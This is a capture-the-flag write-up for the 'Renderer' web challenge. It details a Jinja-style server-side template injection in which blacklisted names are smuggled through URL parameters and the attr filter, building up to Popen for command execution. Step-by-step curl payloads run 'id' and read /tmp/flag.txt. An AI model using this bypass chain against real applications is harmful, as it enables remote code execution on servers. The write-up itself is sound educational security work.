Renderer
[Web] Renderer - 250
We are given with the link to to https://renderer.project-ag.org

It asks for an input and prints your input back. Using the context of the challenge’s title, we tried a simple SSTI payload 7. Screenshot below shows that it’s actually vulnerable.

We thought that using the usual, we would be able to get code execution but there’s some blacklisting happening on the backend and we’re receiving the error if we try the keywords class, config, or even just __ (double underscore).

With this in mind, we thought that we have to bypass the blacklisting. We tried different keywords and writeups that bypasses SSTI and we found this writeup that has a bypass method. It uses the {% print(request) %} as the starting point for the payload build up. We tried using that payload and it worked

We proceeded to send payload {% print(request.args.test1) %} and then we set test1=aaaaaa in the URL. The payload will print test1 content.
curl 'https://renderer.project-ag.org/render?test1=aaaaa' -X POST --data 'name={% print(request.args.test1) %}&message=aaa

And as can be seen from the screenshot above, it manages to print the test1 content which is aaaaa. The next thing we have to do is to buildup request.__class__.__mro__[3].__subclasses__() and from there, access Popen to execute code.
We first tried to build is request.__class__. We can do this by setting up payload:
curl 'https://renderer.project-ag.org/render?test1=__class__' -X POST --data 'name={% print(request|attr(request.args.test1)) %}&message=aaa

Since it worked, turns out that the non-POST parameters are not being checked within the blacklisting. Next is accessing request.__class__.__mro__:
curl 'https://renderer.project-ag.org/render?test1=__class__&test2=__mro__' -X POST --data 'name={% print(request|attr(request.args.test1)|attr(request.args.test2)) %}&message=aaa

Next is accessing request.__class__.__mro__[3].__subclasses__:
curl 'https://renderer.project-ag.org/render?test1=__class__&test2=__mro__&test3=__subclasses__' -X POST --data 'name={% print(((request|attr(request.args.test1)|attr(request.args.test2))[3])|attr(request.args.test3)) %}&message=aaa

Next is accessing request.__class__.mro__[3].__subclassess__();
curl 'https://renderer.project-ag.org/render?test1=__class__&test2=__mro__&test3=__subclasses__' -X POST --data 'name={% print((((request|attr(request.args.test1)|attr(request.args.test2))[3])|attr(request.args.test3))()) %}&message=aaa

Then we have to find the index of Popen class. Turns out it’s in 503:

Next is accessing request.__class__.mro__[3].__subclassess__()[503];
curl 'https://renderer.project-ag.org/render?test1=__class__&test2=__mro__&test3=__subclasses__' -X POST --data 'name={% print(((((request|attr(request.args.test1)|attr(request.args.test2))[3])|attr(request.args.test3))())[503]) %}&message=aaa

Now we just have to execute the Popen.
curl 'https://renderer.project-ag.org/render?test1=__class__&test2=__mro__&test3=__subclasses__' -X POST --data 'name={% print((((((request|attr(request.args.test1)|attr(request.args.test2))[3])|attr(request.args.test3))())[503])(["id"], stdout=-1).communicate()[0]) %}&message=aaa
And then we have managed to execute code:

Then we grabbed the flag by cat-ing /tmp/flag.txt
curl 'https://renderer.project-ag.org/render?test1=__class__&test2=__mro__&test3=__subclasses__' -X POST --data 'name={% print((((((request|attr(request.args.test1)|attr(request.args.test2))[3])|attr(request.args.test3))())[503])(["cat","/tmp/flag.txt"], stdout=-1).communicate()[0]) %}&message=aaa
